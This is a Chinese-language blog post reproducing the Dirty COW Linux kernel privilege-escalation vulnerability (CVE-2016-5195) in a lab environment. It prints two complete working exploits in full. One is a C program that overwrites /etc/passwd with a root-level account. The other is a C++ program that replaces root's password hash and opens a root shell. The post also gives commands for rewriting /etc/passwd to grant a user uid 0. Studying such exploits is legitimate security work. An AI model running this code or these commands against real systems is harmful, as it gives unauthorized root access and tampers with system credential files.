漏洞描述:

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

360 Vulpecker Team:Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响

为什么这个漏洞叫脏牛(Dirty COW)漏洞?

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。

一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

漏洞相关细节

漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

漏洞复现:

本次借助i春秋实验平台来复现此漏洞,当然也可以下载低版本的linux来实验。

漏洞poc: https://github.com/FireFart/dirtycow/blob/master/dirty.c

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
// #include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h> const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart"; int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st; struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
}; char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
} char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
} void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
} int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
} char ch;
FILE *source, *target; source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
} while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
} printf("%s successfully backed up to %s\n",
from, to); fclose(source);
fclose(target); return 0;
} int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
} struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash"; char *plaintext_pw; if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
} user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line); f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
} printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}

打开i春秋实验环境,发现实验机下已存在漏洞poc:dirtyc0w.c,

执行以下命令进行gcc编译:

gcc -pthread dirtyc0w.c -o dirtyc0w

参数:-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现

-o  为编译后输出的文件名

编译成功

验证漏洞:

执行以下命令进行将 bmjoker 字符串保存到 foo 文件内,并进行文件权限的设置::

echo bmjoker > foo
chmod 000 foo

可以看出此时foo文件为0权限,

接下来就是执行poc,来越权修改文件内容:

执行失败的原因是:

如果测试写入文件,没有r也就是读取权限,就会导致POC执行失败。这就是这个漏洞的局限性

因为该漏洞是利用系统处理写时拷贝(Copy-on-Write) 时存在条件竞争漏洞,越权写入文件内容。

我们给予它可读权限:

chmod 0404 foo

0404代表所有用户默认情况下对该文件只有读取权限,无法修改删除。

准备测试POC(Copt-on-Write)越权写文件效果。

执行以下命令测试漏洞:

./dirtyc0w foo hacked by bmjoker

利用dirtyc0w漏洞已经编译过的文件来写入值hacked by bmjoker

下面执行该POC,POC执行完成约一分钟,根据返回信息已经执行成功:

发现内容已经被覆盖,不过大小需要跟源文件差不多...

根据POC执行后的结果,判断该系统存在 CVE-2016-5195(脏牛)内核提权漏洞。

既然可以越权修改系统文件,这样的话,只要修改 /etc/passwd 把当前用户的uid改成0就可以作为root登录

用到命令:

./dirtyc0w /etc/passwd ichunqiu:x:0:0::/home/ichunqiu:/bin/bash

这样的话我们以当前ichunqiu用户身份登陆,就是root权限,提权成功

后续发展,有了强大的exp : https://github.com/gbonacini/CVE-2016-5195

// -----------------------------------------------------------------
// Copyright (C) 2016 Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
// ----------------------------------------------------------------- #include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h> #define BUFFSIZE 1024
#define DEFSLTIME 300000
#define PWDFILE "/etc/passwd"
#define BAKFILE "./.ssh_bak"
#define TMPBAKFILE "/tmp/.ssh_bak"
#define PSM "/proc/self/mem"
#define ROOTID "root:"
#define SSHDID "sshd:"
#define MAXITER 300
#define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
#define TXTPWD "dirtyCowFun\n"
#define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
#define EXITCMD "exit\n"
#define CPCMD "\\cp "
#define RMCMD "\\rm " using namespace std; class Dcow{
private:
bool run, rawMode, opShell, restPwd;
void *map;
int fd, iter, master, wstat;
string buffer, etcPwd, etcPwdBak,
root, user, pwd, sshd;
thread *writerThr, *madviseThr, *checkerThr;
ifstream *extPwd;
ofstream *extPwdBak;
struct passwd *userId;
pid_t child;
char buffv[BUFFSIZE];
fd_set rfds;
struct termios termOld, termNew;
ssize_t ign; void exitOnError(string msg);
public:
Dcow(bool opSh, bool rstPwd);
~Dcow(void);
int expl(void);
}; Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),
child(0){
userId = getpwuid(getuid());
user.append(userId->pw_name).append(":");
extPwd = new ifstream(PWDFILE);
while (getline(*extPwd, buffer)){
buffer.append("\n");
etcPwdBak.append(buffer);
if(buffer.find(root) == 0){
etcPwd.insert(0, root).insert(root.size(), pwd);
etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(),
buffer.begin() + buffer.find(":", root.size()), buffer.end());
}else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){
etcPwd.insert(0, buffer);
}else{
etcPwd.append(buffer);
}
}
extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
extPwdBak->close();
fd = open(PWDFILE,O_RDONLY);
map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
} Dcow::~Dcow(void){
extPwd->close();
close(fd);
delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
if(child != 0) wait(&wstat);
} void Dcow::exitOnError(string msg){
cerr << msg << endl;
throw new exception();
} int Dcow::expl(void){
madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
writerThr = new thread([&](){ int fpsm = open(PSM,O_RDWR);
while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET);
ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
});
checkerThr = new thread([&](){ while(iter <= MAXITER){
extPwd->clear(); extPwd->seekg(0, ios::beg);
buffer.assign(istreambuf_iterator<char>(*extPwd),
istreambuf_iterator<char>());
if(buffer.find(pwd) != string::npos &&
buffer.size() >= etcPwdBak.size()){
run = false; break;
}
iter ++; usleep(DEFSLTIME);
}
run = false;
}); cerr << "Running ..." << endl;
madviseThr->join();
writerThr->join();
checkerThr->join(); if(iter <= MAXITER){
child = forkpty(&master, nullptr, nullptr, nullptr); if(child == -1) exitOnError("Error forking pty."); if(child == 0){
execlp("su", "su", "-", nullptr);
exitOnError("Error on exec.");
} if(opShell) cerr << "Password overridden to: " << TXTPWD << endl;
memset(buffv, 0, BUFFSIZE);
ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) exitOnError("Error reading su prompt.");
cerr << "Received su prompt (" << buffv << ")" << endl; if(write(master, TXTPWD, strlen(TXTPWD)) <= 0)
exitOnError("Error writing pwd on tty."); if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)
exitOnError("Error writing cmd on tty."); if(!opShell){
if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
exitOnError("Error writing exit cmd on tty.");
}else{
if(restPwd){
string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
exitOnError("Error writing restore cmd on tty.");
restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n");
if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
exitOnError("Error writing restore cmd (rm) on tty.");
} if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
exitOnError("Error getting terminal attributes."); termNew = termOld;
termNew.c_lflag &= static_cast<unsigned long>(~(ICANON | ECHO)); if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
exitOnError("Error setting terminal in non-canonical mode.");
rawMode = true; while(true){
FD_ZERO(&rfds);
FD_SET(master, &rfds);
FD_SET(STDIN_FILENO, &rfds); if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )
exitOnError("Error on select tty."); if(FD_ISSET(master, &rfds)) {
memset(buffv, 0, BUFFSIZE);
bytes_read = read(master, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) break;
if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
exitOnError("Error writing on stdout.");
} if(FD_ISSET(STDIN_FILENO, &rfds)) {
memset(buffv, 0, BUFFSIZE);
bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) exitOnError("Error reading from stdin.");
if(write(master, buffv, bytes_read) != bytes_read) break;
}
}
}
} return [](int ret, bool shell){
string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n";
if(ret <= MAXITER){cerr << msg; return 0;}
else{cerr << "Exploit failed.\n"; return 1;}
}(iter, opShell);
} void printInfo(char* cmd){
cerr << cmd << " [-s] [-n] | [-h]\n" << endl;
cerr << " -s open directly a shell, if the exploit is successful;" << endl;
cerr << " -n combined with -s, doesn't restore the passwd file." << endl;
cerr << " -h print this synopsis;" << endl;
cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;
cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;
exit(1);
} int main(int argc, char** argv){
const char flags[] = "shn";
int c;
bool opShell = false,
restPwd = argc != 1 ? true : false; opterr = 0;
while ((c = getopt(argc, argv, flags)) != -1){
switch (c){
case 's':
opShell = true;
break;
case 'n':
restPwd = false;
break;
case 'h':
printInfo(argv[0]);
break;
default:
cerr << "Invalid parameter." << endl << endl;
printInfo(argv[0]);
}
} if(!restPwd && !opShell && argc != 1){
cerr << "Invalid parameter: -n requires -s" << endl << endl;
printInfo(argv[0]);
} Dcow dcow(opShell, restPwd);
return dcow.expl();
}

这里放上大佬提权成功的图片:

分析与思考:

  • Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。

  • 低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致某些Linux版本提权漏洞。

  • 低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取Root权限。

  • 该漏洞影响所有目前运行Linux系统的设备,包含但不限于运行Linux系统的服务器,Docker容器/手机/路由器/智能设备等。

Linux写时拷贝技术(copy-on-write)在Linux程序中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,linux中引入了“写时复制“技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程

参考链接:https://www.anquanke.com/post/id/84772

https://bbs.pediy.com/thread-213391.htm

https://www.0dayhack.com/post-691.html

这个洞比较老了,是16年的,博主趁着复现漏洞,又对脏牛提权有了新的学习

9.CVE-2016-5195(脏牛)内核提权漏洞分析的更多相关文章

  1. msf利用- windows内核提权漏洞

    windows内核提权漏洞 环境: Kali Linux(攻击机) 192.168.190.141 Windows2003SP2(靶机) 192.168.190.147 0x01寻找可利用的exp 实 ...

  2. Linux本地内核提权漏洞复现(CVE-2019-13272)

    Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...

  3. CVE-2019-13272:Linux本地内核提权漏洞复现

    0x00 简介 2019年07月20日,Linux正式修复了一个本地内核提权漏洞.通过此漏洞,攻击者可将普通权限用户提升为Root权限. 0x01 漏洞概述 当调用PTRACE_TRACEME时,pt ...

  4. (CVE-2016-5195)脏牛本地提权

    简要分析 该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏, 导致出现写数据到进程地址空间内只读内存 ...

  5. CVE-2016-0095提权漏洞分析

    1 前言 瞻仰了k0shl和鹏哥 的漏洞分析,感慨万千,任重而道远. 2 系统环境和工具 windows 7 32旗舰版 windbg 3 poc 3.1poc复现 首先k0shl大佬给出的poc() ...

  6. Linux内核提权漏洞(CVE-2019-13272)

    漏洞描述 kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程 ...

  7. 2018-2019-2 20165215《网络对抗技术》Exp10 Final Windows本地内核提权+Exploit-Exercises Nebula学习与实践

    目录 PART ONE :Windows本地内核提权 漏洞概述 漏洞原理 漏洞复现 windbg调试本地内核 查看SSDT表和SSDTShadow表 查看窗口站结构体信息 利用Poc验证漏洞 漏洞利用 ...

  8. Linux内核通杀提权漏洞CVE-2016-5195验证

    一.漏洞简介 CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞,原理是linux内核内存子系统在 处理私有只读存储映射的写入时复制机制发现了一个冲突条件.这个漏洞官方给出的影响范围是 ...

  9. Linux本地内核提权CVE-2019-13272

    简介:当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数.但是,对象struct cred的生存周期规则不允许无条件地 ...

随机推荐

  1. JAVA事件监听机制与实现

    事件监听机制的实现:参考图:事件模型_ActionEvent 为了节省资源,系统无法对某个事件进行实时的监听.故实现的机制是当发生某个事件后,处理代码将被自动运行,类似钩子一般.(回调函数) 事件有许 ...

  2. 斯坦福机器学习视频笔记 Week1 线性回归和梯度下降 Linear Regression and Gradient Descent

    最近开始学习Coursera上的斯坦福机器学习视频,我是刚刚接触机器学习,对此比较感兴趣:准备将我的学习笔记写下来, 作为我每天学习的签到吧,也希望和各位朋友交流学习. 这一系列的博客,我会不定期的更 ...

  3. css sprite技巧详解

    1. [代码][CSS]代码 CSSSprites在国内很多人叫css精灵,是一种网页图片应用处理方式.它允许你将一个页面涉及到的所有零星图片都包含到一张大图中去,这样一来,当访问该页面时,载入的图片 ...

  4. jq js 的date()使用

    Js获取当前日期时间及其它操作 var myDate = new Date();myDate.getYear(); //获取当前年份(2位)myDate.getFullYear(); //获取完整的年 ...

  5. R基础之批处理--R IN ACTION

    1.5 批处理多数情况下,我们都会交互式地使用R:在提示符后输入命令,接着等待该命令的输出结果.偶尔,我们可能想要以一种重复的.标准化的.无人值守的方式执行某个R程序,例如,你可能需要每个月生成一次相 ...

  6. 分享知识-快乐自己:Spring整合定时器

    前期工作:(引入相关 JAR ) <spring.quartz>1.8.4</spring.quartz> <!--spring 定时--> <depende ...

  7. poj3352 边-双联通分量

    题意:给一个无向图,问最少加几条边变成边-双联通 题解:求一次双联通,缩点,这样就变成了一棵树,结果就是(树上的叶子节点+1)/2,叶子节点可以通过入度判断 #include<map> # ...

  8. vue-mixins使用注意事项和高级用法

    因为在项目中 mixins(混合)特性使用频率是很高的 有必要熟练掌握官方文档: mixins 实际项目中 一般都存在 列表(list) 这种很常见的使用场景 话再多都不如上demo file: mi ...

  9. IOS 实现banner循环轮播

    在项目中把banner图片UIImageView一张一张的放入UIScrollView中,通过设置UIScrollView的pagingEnabled属性为YES,则可以做到当用户滑动banner时图 ...

  10. Gym - 100801D:Distribution in Metagonia (数学)

    题意:给定一个N,让你把它拆成若干个只含素因子2和3的数之和,且两两之间没有倍数关系,比如10=4+6. 思路:即是2因子的幂递增,3因子的幂递减:或者反之. 对于当前N,我们拆分出的数为num=2^ ...